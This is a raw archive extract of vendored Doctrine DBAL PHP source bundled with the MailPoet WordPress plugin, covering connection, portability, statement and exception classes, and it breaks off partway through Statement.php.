namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class NotNullConstraintViolationException extends \MailPoetVendor\Doctrine\DBAL\Exception\ConstraintViolationException { } Doctrine/DBAL/Exception/SyntaxErrorException.php 0000666 00000000267 15035130072 0015650 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class SyntaxErrorException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Portability/Connection.php 0000666 00000006251 15035130072 0014133 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Portability; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile; class Connection extends \MailPoetVendor\Doctrine\DBAL\Connection { const PORTABILITY_ALL = 255; const PORTABILITY_NONE = 0; const PORTABILITY_RTRIM = 1; const PORTABILITY_EMPTY_TO_NULL = 4; const PORTABILITY_FIX_CASE = 8; const PORTABILITY_DB2 = 13; const PORTABILITY_ORACLE = 9; const PORTABILITY_POSTGRESQL = 13; const PORTABILITY_SQLITE = 13; const PORTABILITY_OTHERVENDORS = 12; const PORTABILITY_DRIZZLE = 13; const PORTABILITY_SQLANYWHERE = 13; const PORTABILITY_SQLSRV = 13; private $portability = self::PORTABILITY_NONE; private $case; public function connect() { $ret = parent::connect(); if ($ret) { $params = $this->getParams(); if (isset($params['portability'])) { if ($this->getDatabasePlatform()->getName() === "oracle") { $params['portability'] = $params['portability'] & self::PORTABILITY_ORACLE; } elseif ($this->getDatabasePlatform()->getName() === "postgresql") { $params['portability'] = $params['portability'] & self::PORTABILITY_POSTGRESQL; } elseif ($this->getDatabasePlatform()->getName() === "sqlite") { $params['portability'] = $params['portability'] & self::PORTABILITY_SQLITE; } elseif ($this->getDatabasePlatform()->getName() === "drizzle") { $params['portability'] = $params['portability'] & self::PORTABILITY_DRIZZLE; } elseif ($this->getDatabasePlatform()->getName() === 'sqlanywhere') { $params['portability'] = $params['portability'] & self::PORTABILITY_SQLANYWHERE; } elseif ($this->getDatabasePlatform()->getName() === 'db2') { $params['portability'] = $params['portability'] & self::PORTABILITY_DB2; } elseif ($this->getDatabasePlatform()->getName() === 'mssql') { $params['portability'] = $params['portability'] & self::PORTABILITY_SQLSRV; } else { $params['portability'] = $params['portability'] & self::PORTABILITY_OTHERVENDORS; } $this->portability = $params['portability']; } if (isset($params['fetch_case']) && $this->portability & self::PORTABILITY_FIX_CASE) { if ($this->_conn instanceof \MailPoetVendor\Doctrine\DBAL\Driver\PDOConnection) { $this->_conn->setAttribute(\PDO::ATTR_CASE, $params['fetch_case']); } else { $this->case = $params['fetch_case'] == \PDO::CASE_LOWER ? \CASE_LOWER : \CASE_UPPER; } } } return $ret; } public function getPortability() { return $this->portability; } public function getFetchCase() { return $this->case; } public function executeQuery($query, array $params = array(), $types = array(), \MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile $qcp = null) { $stmt = new \MailPoetVendor\Doctrine\DBAL\Portability\Statement(parent::executeQuery($query, $params, $types, $qcp), $this); $stmt->setFetchMode($this->defaultFetchMode); return $stmt; } public function prepare($statement) { $stmt = new \MailPoetVendor\Doctrine\DBAL\Portability\Statement(parent::prepare($statement), $this); $stmt->setFetchMode($this->defaultFetchMode); return $stmt; } public function query() { $this->connect(); $stmt = \call_user_func_array(array($this->_conn, 'query'), \func_get_args()); $stmt = new \MailPoetVendor\Doctrine\DBAL\Portability\Statement($stmt, $this); $stmt->setFetchMode($this->defaultFetchMode); return $stmt; } } Doctrine/DBAL/Portability/index.php 0000666 00000000000 15035130072 0013125 0 ustar 00 Doctrine/DBAL/Portability/Statement.php 0000666 00000010012 15035130072 0013766 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Portability; if (!defined('ABSPATH')) exit; use PDO; class Statement implements \IteratorAggregate, \MailPoetVendor\Doctrine\DBAL\Driver\Statement { private $portability; private $stmt; private $case; private $defaultFetchMode = \PDO::FETCH_BOTH; public function __construct($stmt, \MailPoetVendor\Doctrine\DBAL\Portability\Connection $conn) { $this->stmt = $stmt; $this->portability = $conn->getPortability(); $this->case = $conn->getFetchCase(); } public function bindParam($column, &$variable, $type = null, $length = null) { return $this->stmt->bindParam($column, $variable, $type, $length); } public function bindValue($param, $value, $type = null) { return $this->stmt->bindValue($param, $value, $type); } public function closeCursor() { return $this->stmt->closeCursor(); } public function columnCount() { return $this->stmt->columnCount(); } public function errorCode() { return $this->stmt->errorCode(); } public function errorInfo() { return $this->stmt->errorInfo(); } public function execute($params = null) { return $this->stmt->execute($params); } public function setFetchMode($fetchMode, $arg1 = null, $arg2 = null) { $this->defaultFetchMode = $fetchMode; return $this->stmt->setFetchMode($fetchMode, $arg1, $arg2); } public function getIterator() { $data = $this->fetchAll(); return new \ArrayIterator($data); } public function fetch($fetchMode = null) { $fetchMode = $fetchMode ?: $this->defaultFetchMode; $row = $this->stmt->fetch($fetchMode); $row = $this->fixRow($row, $this->portability & (\MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_EMPTY_TO_NULL | \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_RTRIM), !\is_null($this->case) && ($fetchMode == \PDO::FETCH_ASSOC || $fetchMode == \PDO::FETCH_BOTH) && $this->portability & \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_FIX_CASE); return $row; } public function fetchAll($fetchMode = null, $columnIndex = 0) { $fetchMode = $fetchMode ?: $this->defaultFetchMode; if ($columnIndex != 0) { $rows = $this->stmt->fetchAll($fetchMode, $columnIndex); } else { $rows = $this->stmt->fetchAll($fetchMode); } $iterateRow = $this->portability & (\MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_EMPTY_TO_NULL | \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_RTRIM); $fixCase = !\is_null($this->case) && ($fetchMode == \PDO::FETCH_ASSOC || $fetchMode == \PDO::FETCH_BOTH) && $this->portability & \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_FIX_CASE; if (!$iterateRow && !$fixCase) { return $rows; } if ($fetchMode === \PDO::FETCH_COLUMN) { foreach ($rows as $num => $row) { $rows[$num] = array($row); } } foreach ($rows as $num => $row) { $rows[$num] = $this->fixRow($row, $iterateRow, $fixCase); } if ($fetchMode === \PDO::FETCH_COLUMN) { foreach ($rows as $num => $row) { $rows[$num] = $row[0]; } } return $rows; } protected function fixRow($row, $iterateRow, $fixCase) { if (!$row) { return $row; } if ($fixCase) { $row = \array_change_key_case($row, $this->case); } if ($iterateRow) { foreach ($row as $k => $v) { if ($this->portability & \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_EMPTY_TO_NULL && $v === '') { $row[$k] = null; } elseif ($this->portability & \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_RTRIM && \is_string($v)) { $row[$k] = \rtrim($v); } } } return $row; } public function fetchColumn($columnIndex = 0) { $value = $this->stmt->fetchColumn($columnIndex); if ($this->portability & (\MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_EMPTY_TO_NULL | \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_RTRIM)) { if ($this->portability & \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_EMPTY_TO_NULL && $value === '') { $value = null; } elseif ($this->portability & \MailPoetVendor\Doctrine\DBAL\Portability\Connection::PORTABILITY_RTRIM && \is_string($value)) { $value = \rtrim($value); } } return $value; } public function rowCount() { return $this->stmt->rowCount(); } } Doctrine/DBAL/Event/index.php 0000666 00000000000 15035130072 0011704 0 ustar 00 Doctrine/DBAL/Event/Listeners/index.php 0000666 00000000000 15035130072 0013654 0 ustar 00 Doctrine/DBAL/Event/Listeners/MysqlSessionInit.php 0000666 00000001536 15035130072 0016061 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Event\Listeners; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Event\ConnectionEventArgs; use MailPoetVendor\Doctrine\DBAL\Events; use MailPoetVendor\Doctrine\Common\EventSubscriber; class MysqlSessionInit implements \MailPoetVendor\Doctrine\Common\EventSubscriber { private $_charset; private $_collation; public function __construct($charset = 'utf8', $collation = \false) { $this->_charset = $charset; $this->_collation = $collation; } public function postConnect(\MailPoetVendor\Doctrine\DBAL\Event\ConnectionEventArgs $args) { $collation = $this->_collation ? " COLLATE " . $this->_collation : ""; $args->getConnection()->executeUpdate("SET NAMES " . $this->_charset . $collation); } public function getSubscribedEvents() { return array(\MailPoetVendor\Doctrine\DBAL\Events::postConnect); } } Doctrine/DBAL/Event/Listeners/SQLSessionInit.php 0000666 00000001227 15035130072 0015410 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Event\Listeners; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Event\ConnectionEventArgs; use MailPoetVendor\Doctrine\DBAL\Events; use MailPoetVendor\Doctrine\Common\EventSubscriber; class SQLSessionInit implements \MailPoetVendor\Doctrine\Common\EventSubscriber { protected $sql; public function __construct($sql) { $this->sql = $sql; } public function postConnect(\MailPoetVendor\Doctrine\DBAL\Event\ConnectionEventArgs $args) { $conn = $args->getConnection(); $conn->exec($this->sql); } public function getSubscribedEvents() { return array(\MailPoetVendor\Doctrine\DBAL\Events::postConnect); } } Doctrine/DBAL/SQLParserUtilsException.php 0000666 00000000765 15035130072 0014252 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; class SQLParserUtilsException extends \MailPoetVendor\Doctrine\DBAL\DBALException { public static function missingParam($paramName) { return new self(\sprintf('Value for :%1$s not found in params array. Params array key should be "%1$s"', $paramName)); } public static function missingType($typeName) { return new self(\sprintf('Value for :%1$s not found in types array. Types array key should be "%1$s"', $typeName)); } } Doctrine/DBAL/Connection.php 0000666 00000052221 15035130072 0011627 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Driver\ServerInfoAwareConnection; use MailPoetVendor\Doctrine\DBAL\Exception\InvalidArgumentException; use PDO; use Closure; use Exception; use MailPoetVendor\Doctrine\DBAL\Types\Type; use MailPoetVendor\Doctrine\DBAL\Driver\Connection as DriverConnection; use MailPoetVendor\Doctrine\Common\EventManager; use MailPoetVendor\Doctrine\DBAL\Cache\ResultCacheStatement; use MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile; use MailPoetVendor\Doctrine\DBAL\Cache\ArrayStatement; use MailPoetVendor\Doctrine\DBAL\Cache\CacheException; use MailPoetVendor\Doctrine\DBAL\Driver\PingableConnection; class Connection implements \MailPoetVendor\Doctrine\DBAL\Driver\Connection { const TRANSACTION_READ_UNCOMMITTED = 1; const TRANSACTION_READ_COMMITTED = 2; const TRANSACTION_REPEATABLE_READ = 3; const TRANSACTION_SERIALIZABLE = 4; const PARAM_INT_ARRAY = 101; const PARAM_STR_ARRAY = 102; const ARRAY_PARAM_OFFSET = 100; protected $_conn; protected $_config; protected $_eventManager; protected $_expr; private $_isConnected = \false; private $autoCommit = \true; private $_transactionNestingLevel = 0; private $_transactionIsolationLevel; private $_nestTransactionsWithSavepoints = \false; private $_params = array(); private $platform; protected $_schemaManager; protected $_driver; private $_isRollbackOnly = \false; protected $defaultFetchMode = \PDO::FETCH_ASSOC; public function __construct(array $params, \MailPoetVendor\Doctrine\DBAL\Driver $driver, \MailPoetVendor\Doctrine\DBAL\Configuration $config = null, \MailPoetVendor\Doctrine\Common\EventManager $eventManager = null) { $this->_driver = $driver; $this->_params = $params; if (isset($params['pdo'])) { $this->_conn = $params['pdo']; $this->_isConnected = \true; unset($this->_params['pdo']); } if (!$config) { $config = new \MailPoetVendor\Doctrine\DBAL\Configuration(); } if (!$eventManager) { $eventManager = new \MailPoetVendor\Doctrine\Common\EventManager(); } $this->_config = $config; $this->_eventManager = $eventManager; $this->_expr = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\ExpressionBuilder($this); $this->autoCommit = $config->getAutoCommit(); } public function getParams() { return $this->_params; } public function getDatabase() { return $this->_driver->getDatabase($this); } public function getHost() { return isset($this->_params['host']) ? $this->_params['host'] : null; } public function getPort() { return isset($this->_params['port']) ? $this->_params['port'] : null; } public function getUsername() { return isset($this->_params['user']) ? $this->_params['user'] : null; } public function getPassword() { return isset($this->_params['password']) ? $this->_params['password'] : null; } public function getDriver() { return $this->_driver; } public function getConfiguration() { return $this->_config; } public function getEventManager() { return $this->_eventManager; } public function getDatabasePlatform() { if (null == $this->platform) { $this->detectDatabasePlatform(); } return $this->platform; } public function getExpressionBuilder() { return $this->_expr; } public function connect() { if ($this->_isConnected) { return \false; } $driverOptions = isset($this->_params['driverOptions']) ? $this->_params['driverOptions'] : array(); $user = isset($this->_params['user']) ? $this->_params['user'] : null; $password = isset($this->_params['password']) ? $this->_params['password'] : null; $this->_conn = $this->_driver->connect($this->_params, $user, $password, $driverOptions); $this->_isConnected = \true; if (null === $this->platform) { $this->detectDatabasePlatform(); } if (\false === $this->autoCommit) { $this->beginTransaction(); } if ($this->_eventManager->hasListeners(\MailPoetVendor\Doctrine\DBAL\Events::postConnect)) { $eventArgs = new \MailPoetVendor\Doctrine\DBAL\Event\ConnectionEventArgs($this); $this->_eventManager->dispatchEvent(\MailPoetVendor\Doctrine\DBAL\Events::postConnect, $eventArgs); } return \true; } private function detectDatabasePlatform() { if (!isset($this->_params['platform'])) { $version = $this->getDatabasePlatformVersion(); if (null !== $version) { $this->platform = $this->_driver->createDatabasePlatformForVersion($version); } else { $this->platform = $this->_driver->getDatabasePlatform(); } } elseif ($this->_params['platform'] instanceof \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform) { $this->platform = $this->_params['platform']; } else { throw \MailPoetVendor\Doctrine\DBAL\DBALException::invalidPlatformSpecified(); } $this->platform->setEventManager($this->_eventManager); } private function getDatabasePlatformVersion() { if (!$this->_driver instanceof \MailPoetVendor\Doctrine\DBAL\VersionAwarePlatformDriver) { return null; } if (isset($this->_params['serverVersion'])) { return $this->_params['serverVersion']; } if (null === $this->_conn) { $this->connect(); } if ($this->_conn instanceof \MailPoetVendor\Doctrine\DBAL\Driver\ServerInfoAwareConnection && !$this->_conn->requiresQueryForServerVersion()) { return $this->_conn->getServerVersion(); } return null; } public function isAutoCommit() { return \true === $this->autoCommit; } public function setAutoCommit($autoCommit) { $autoCommit = (bool) $autoCommit; if ($autoCommit === $this->autoCommit) { return; } $this->autoCommit = $autoCommit; if (\true === $this->_isConnected && 0 !== $this->_transactionNestingLevel) { $this->commitAll(); } } public function setFetchMode($fetchMode) { $this->defaultFetchMode = $fetchMode; } public function fetchAssoc($statement, array $params = array(), array $types = array()) { return $this->executeQuery($statement, $params, $types)->fetch(\PDO::FETCH_ASSOC); } public function fetchArray($statement, array $params = array(), array $types = array()) { return $this->executeQuery($statement, $params, $types)->fetch(\PDO::FETCH_NUM); } public function fetchColumn($statement, array $params = array(), $column = 0, array $types = array()) { return $this->executeQuery($statement, $params, $types)->fetchColumn($column); } public function isConnected() { return $this->_isConnected; } public function isTransactionActive() { return $this->_transactionNestingLevel > 0; } public function delete($tableExpression, array $identifier, array $types = array()) { if (empty($identifier)) { throw \MailPoetVendor\Doctrine\DBAL\Exception\InvalidArgumentException::fromEmptyCriteria(); } $columnList = array(); $criteria = array(); $paramValues = array(); foreach ($identifier as $columnName => $value) { $columnList[] = $columnName; $criteria[] = $columnName . ' = ?'; $paramValues[] = $value; } return $this->executeUpdate('DELETE FROM ' . $tableExpression . ' WHERE ' . \implode(' AND ', $criteria), $paramValues, \is_string(\key($types)) ? $this->extractTypeValues($columnList, $types) : $types); } public function close() { $this->_conn = null; $this->_isConnected = \false; } public function setTransactionIsolation($level) { $this->_transactionIsolationLevel = $level; return $this->executeUpdate($this->getDatabasePlatform()->getSetTransactionIsolationSQL($level)); } public function getTransactionIsolation() { if (null === $this->_transactionIsolationLevel) { $this->_transactionIsolationLevel = $this->getDatabasePlatform()->getDefaultTransactionIsolationLevel(); } return $this->_transactionIsolationLevel; } public function update($tableExpression, array $data, array $identifier, array $types = array()) { $columnList = array(); $set = array(); $criteria = array(); $paramValues = array(); foreach ($data as $columnName => $value) { $columnList[] = $columnName; $set[] = $columnName . ' = ?'; $paramValues[] = $value; } foreach ($identifier as $columnName => $value) { $columnList[] = $columnName; $criteria[] = $columnName . ' = ?'; $paramValues[] = $value; } if (\is_string(\key($types))) { $types = $this->extractTypeValues($columnList, $types); } $sql = 'UPDATE ' . $tableExpression . ' SET ' . \implode(', ', $set) . ' WHERE ' . \implode(' AND ', $criteria); return $this->executeUpdate($sql, $paramValues, $types); } public function insert($tableExpression, array $data, array $types = array()) { $this->connect(); if (empty($data)) { return $this->executeUpdate('INSERT INTO ' . $tableExpression . ' ()' . ' VALUES ()'); } $columnList = array(); $paramPlaceholders = array(); $paramValues = array(); foreach ($data as $columnName => $value) { $columnList[] = $columnName; $paramPlaceholders[] = '?'; $paramValues[] = $value; } return $this->executeUpdate('INSERT INTO ' . $tableExpression . ' (' . \implode(', ', $columnList) . ')' . ' VALUES (' . \implode(', ', $paramPlaceholders) . ')', $paramValues, \is_string(\key($types)) ? $this->extractTypeValues($columnList, $types) : $types); } private function extractTypeValues(array $columnList, array $types) { $typeValues = array(); foreach ($columnList as $columnIndex => $columnName) { $typeValues[] = isset($types[$columnName]) ? $types[$columnName] : \PDO::PARAM_STR; } return $typeValues; } public function quoteIdentifier($str) { return $this->getDatabasePlatform()->quoteIdentifier($str); } public function quote($input, $type = null) { $this->connect(); list($value, $bindingType) = $this->getBindingInfo($input, $type); return $this->_conn->quote($value, $bindingType); } public function fetchAll($sql, array $params = array(), $types = array()) { return $this->executeQuery($sql, $params, $types)->fetchAll(); } public function prepare($statement) { $this->connect(); try { $stmt = new \MailPoetVendor\Doctrine\DBAL\Statement($statement, $this); } catch (\Exception $ex) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverExceptionDuringQuery($this->_driver, $ex, $statement); } $stmt->setFetchMode($this->defaultFetchMode); return $stmt; } public function executeQuery($query, array $params = array(), $types = array(), \MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile $qcp = null) { if ($qcp !== null) { return $this->executeCacheQuery($query, $params, $types, $qcp); } $this->connect(); $logger = $this->_config->getSQLLogger(); if ($logger) { $logger->startQuery($query, $params, $types); } try { if ($params) { list($query, $params, $types) = \MailPoetVendor\Doctrine\DBAL\SQLParserUtils::expandListParameters($query, $params, $types); $stmt = $this->_conn->prepare($query); if ($types) { $this->_bindTypedValues($stmt, $params, $types); $stmt->execute(); } else { $stmt->execute($params); } } else { $stmt = $this->_conn->query($query); } } catch (\Exception $ex) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverExceptionDuringQuery($this->_driver, $ex, $query, $this->resolveParams($params, $types)); } $stmt->setFetchMode($this->defaultFetchMode); if ($logger) { $logger->stopQuery(); } return $stmt; } public function executeCacheQuery($query, $params, $types, \MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile $qcp) { $resultCache = $qcp->getResultCacheDriver() ?: $this->_config->getResultCacheImpl(); if (!$resultCache) { throw \MailPoetVendor\Doctrine\DBAL\Cache\CacheException::noResultDriverConfigured(); } list($cacheKey, $realKey) = $qcp->generateCacheKeys($query, $params, $types); if ($data = $resultCache->fetch($cacheKey)) { if (isset($data[$realKey])) { $stmt = new \MailPoetVendor\Doctrine\DBAL\Cache\ArrayStatement($data[$realKey]); } elseif (\array_key_exists($realKey, $data)) { $stmt = new \MailPoetVendor\Doctrine\DBAL\Cache\ArrayStatement(array()); } } if (!isset($stmt)) { $stmt = new \MailPoetVendor\Doctrine\DBAL\Cache\ResultCacheStatement($this->executeQuery($query, $params, $types), $resultCache, $cacheKey, $realKey, $qcp->getLifetime()); } $stmt->setFetchMode($this->defaultFetchMode); return $stmt; } public function project($query, array $params, \Closure $function) { $result = array(); $stmt = $this->executeQuery($query, $params); while ($row = $stmt->fetch()) { $result[] = $function($row); } $stmt->closeCursor(); return $result; } public function query() { $this->connect(); $args = \func_get_args(); $logger = $this->_config->getSQLLogger(); if ($logger) { $logger->startQuery($args[0]); } try { switch (\func_num_args()) { case 1: $statement = $this->_conn->query($args[0]); break; case 2: $statement = $this->_conn->query($args[0], $args[1]); break; default: $statement = \call_user_func_array(array($this->_conn, 'query'), $args); break; } } catch (\Exception $ex) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverExceptionDuringQuery($this->_driver, $ex, $args[0]); } $statement->setFetchMode($this->defaultFetchMode); if ($logger) { $logger->stopQuery(); } return $statement; } public function executeUpdate($query, array $params = array(), array $types = array()) { $this->connect(); $logger = $this->_config->getSQLLogger(); if ($logger) { $logger->startQuery($query, $params, $types); } try { if ($params) { list($query, $params, $types) = \MailPoetVendor\Doctrine\DBAL\SQLParserUtils::expandListParameters($query, $params, $types); $stmt = $this->_conn->prepare($query); if ($types) { $this->_bindTypedValues($stmt, $params, $types); $stmt->execute(); } else { $stmt->execute($params); } $result = $stmt->rowCount(); } else { $result = $this->_conn->exec($query); } } catch (\Exception $ex) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverExceptionDuringQuery($this->_driver, $ex, $query, $this->resolveParams($params, $types)); } if ($logger) { $logger->stopQuery(); } return $result; } public function exec($statement) { $this->connect(); $logger = $this->_config->getSQLLogger(); if ($logger) { $logger->startQuery($statement); } try { $result = $this->_conn->exec($statement); } catch (\Exception $ex) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverExceptionDuringQuery($this->_driver, $ex, $statement); } if ($logger) { $logger->stopQuery(); } return $result; } public function getTransactionNestingLevel() { return $this->_transactionNestingLevel; } public function errorCode() { $this->connect(); return $this->_conn->errorCode(); } public function errorInfo() { $this->connect(); return $this->_conn->errorInfo(); } public function lastInsertId($seqName = null) { $this->connect(); return $this->_conn->lastInsertId($seqName); } public function transactional(\Closure $func) { $this->beginTransaction(); try { $func($this); $this->commit(); } catch (\Exception $e) { $this->rollback(); throw $e; } } public function setNestTransactionsWithSavepoints($nestTransactionsWithSavepoints) { if ($this->_transactionNestingLevel > 0) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::mayNotAlterNestedTransactionWithSavepointsInTransaction(); } if (!$this->getDatabasePlatform()->supportsSavepoints()) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::savepointsNotSupported(); } $this->_nestTransactionsWithSavepoints = (bool) $nestTransactionsWithSavepoints; } public function getNestTransactionsWithSavepoints() { return $this->_nestTransactionsWithSavepoints; } protected function _getNestedTransactionSavePointName() { return 'DOCTRINE2_SAVEPOINT_' . $this->_transactionNestingLevel; } public function beginTransaction() { $this->connect(); ++$this->_transactionNestingLevel; $logger = $this->_config->getSQLLogger(); if ($this->_transactionNestingLevel == 1) { if ($logger) { $logger->startQuery('"START TRANSACTION"'); } $this->_conn->beginTransaction(); if ($logger) { $logger->stopQuery(); } } elseif ($this->_nestTransactionsWithSavepoints) { if ($logger) { $logger->startQuery('"SAVEPOINT"'); } $this->createSavepoint($this->_getNestedTransactionSavePointName()); if ($logger) { $logger->stopQuery(); } } } public function commit() { if ($this->_transactionNestingLevel == 0) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::noActiveTransaction(); } if ($this->_isRollbackOnly) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::commitFailedRollbackOnly(); } $this->connect(); $logger = $this->_config->getSQLLogger(); if ($this->_transactionNestingLevel == 1) { if ($logger) { $logger->startQuery('"COMMIT"'); } $this->_conn->commit(); if ($logger) { $logger->stopQuery(); } } elseif ($this->_nestTransactionsWithSavepoints) { if ($logger) { $logger->startQuery('"RELEASE SAVEPOINT"'); } $this->releaseSavepoint($this->_getNestedTransactionSavePointName()); if ($logger) { $logger->stopQuery(); } } --$this->_transactionNestingLevel; if (\false === $this->autoCommit && 0 === $this->_transactionNestingLevel) { $this->beginTransaction(); } } private function commitAll() { while (0 !== $this->_transactionNestingLevel) { if (\false === $this->autoCommit && 1 === $this->_transactionNestingLevel) { $this->commit(); return; } $this->commit(); } } public function rollBack() { if ($this->_transactionNestingLevel == 0) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::noActiveTransaction(); } $this->connect(); $logger = $this->_config->getSQLLogger(); if ($this->_transactionNestingLevel == 1) { if ($logger) { $logger->startQuery('"ROLLBACK"'); } $this->_transactionNestingLevel = 0; $this->_conn->rollback(); $this->_isRollbackOnly = \false; if ($logger) { $logger->stopQuery(); } if (\false === $this->autoCommit) { $this->beginTransaction(); } } elseif ($this->_nestTransactionsWithSavepoints) { if ($logger) { $logger->startQuery('"ROLLBACK TO SAVEPOINT"'); } $this->rollbackSavepoint($this->_getNestedTransactionSavePointName()); --$this->_transactionNestingLevel; if ($logger) { $logger->stopQuery(); } } else { $this->_isRollbackOnly = \true; --$this->_transactionNestingLevel; } } public function createSavepoint($savepoint) { if (!$this->getDatabasePlatform()->supportsSavepoints()) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::savepointsNotSupported(); } $this->_conn->exec($this->platform->createSavePoint($savepoint)); } public function releaseSavepoint($savepoint) { if (!$this->getDatabasePlatform()->supportsSavepoints()) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::savepointsNotSupported(); } if ($this->platform->supportsReleaseSavepoints()) { $this->_conn->exec($this->platform->releaseSavePoint($savepoint)); } } public function rollbackSavepoint($savepoint) { if (!$this->getDatabasePlatform()->supportsSavepoints()) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::savepointsNotSupported(); } $this->_conn->exec($this->platform->rollbackSavePoint($savepoint)); } public function getWrappedConnection() { $this->connect(); return $this->_conn; } public function getSchemaManager() { if (!$this->_schemaManager) { $this->_schemaManager = $this->_driver->getSchemaManager($this); } return $this->_schemaManager; } public function setRollbackOnly() { if ($this->_transactionNestingLevel == 0) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::noActiveTransaction(); } $this->_isRollbackOnly = \true; } public function isRollbackOnly() { if ($this->_transactionNestingLevel == 0) { throw \MailPoetVendor\Doctrine\DBAL\ConnectionException::noActiveTransaction(); } return $this->_isRollbackOnly; } public function convertToDatabaseValue($value, $type) { return \MailPoetVendor\Doctrine\DBAL\Types\Type::getType($type)->convertToDatabaseValue($value, $this->getDatabasePlatform()); } public function convertToPHPValue($value, $type) { return \MailPoetVendor\Doctrine\DBAL\Types\Type::getType($type)->convertToPHPValue($value, $this->getDatabasePlatform()); } private function _bindTypedValues($stmt, array $params, array $types) { if (\is_int(\key($params))) { $typeOffset = \array_key_exists(0, $types) ? -1 : 0; $bindIndex = 1; foreach ($params as $value) { $typeIndex = $bindIndex + $typeOffset; if (isset($types[$typeIndex])) { $type = $types[$typeIndex]; list($value, $bindingType) = $this->getBindingInfo($value, $type); $stmt->bindValue($bindIndex, $value, $bindingType); } else { $stmt->bindValue($bindIndex, $value); } ++$bindIndex; } } else { foreach ($params as $name => $value) { if (isset($types[$name])) { $type = $types[$name]; list($value, $bindingType) = $this->getBindingInfo($value, $type); $stmt->bindValue($name, $value, $bindingType); } else { $stmt->bindValue($name, $value); } } } } private function getBindingInfo($value, $type) { if (\is_string($type)) { $type = \MailPoetVendor\Doctrine\DBAL\Types\Type::getType($type); } if ($type instanceof \MailPoetVendor\Doctrine\DBAL\Types\Type) { $value = $type->convertToDatabaseValue($value, $this->getDatabasePlatform()); $bindingType = $type->getBindingType(); } else { $bindingType = $type; } return array($value, $bindingType); } public function resolveParams(array $params, array $types) { $resolvedParams = array(); if (\is_int(\key($params))) { $typeOffset = \array_key_exists(0, $types) ? -1 : 0; $bindIndex = 1; foreach ($params as $value) { $typeIndex = $bindIndex + $typeOffset; if (isset($types[$typeIndex])) { $type = $types[$typeIndex]; list($value, ) = $this->getBindingInfo($value, $type); $resolvedParams[$bindIndex] = $value; } else { $resolvedParams[$bindIndex] = $value; } ++$bindIndex; } } else { foreach ($params as $name => $value) { if (isset($types[$name])) { $type = $types[$name]; list($value, ) = $this->getBindingInfo($value, $type); $resolvedParams[$name] = $value; } else { $resolvedParams[$name] = $value; } } } return $resolvedParams; } public function createQueryBuilder() { return new \MailPoetVendor\Doctrine\DBAL\Query\QueryBuilder($this); } public function ping() { $this->connect(); if ($this->_conn instanceof \MailPoetVendor\Doctrine\DBAL\Driver\PingableConnection) { return $this->_conn->ping(); } try { $this->query($this->getDatabasePlatform()->getDummySelectSQL()); return \true; } catch (\MailPoetVendor\Doctrine\DBAL\DBALException $e) { return \false; } } } Doctrine/DBAL/Statement.php 0000666 00000006126 15035130072 0011477 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; use PDO; use MailPoetVendor\Doctrine\DBAL\Types\Type; use MailPoetVendor\Doctrine\DBAL\Driver\Statement as DriverStatement; class Statement implements \IteratorAggregate, \MailPoetVendor\Doctrine\DBAL\Driver\Statement { protected $sql; protected $params = array(); protected $types = array(); protected $stmt; protected $platform; protected $conn; public function __construct($sql, \MailPoetVendor\Doctrine\DBAL\Connection $conn) { $this->sql = $sql; $this->stmt = $conn->getWrappedConnection()->prepare($sql); $this->conn = $conn; $this->platform = $conn->getDatabasePlatform(); } public function bindValue($name, $value, $type = null) { $this->params[$name] = $value; $this->types[$name] = $type; if ($type !== null) { if (\is_string($type)) { $type = \MailPoetVendor\Doctrine\DBAL\Types\Type::getType($type); } if ($type instanceof \MailPoetVendor\Doctrine\DBAL\Types\Type) { $value = $type->convertToDatabaseValue($value, $this->platform); $bindingType = $type->getBindingType(); } else { $bindingType = $type; 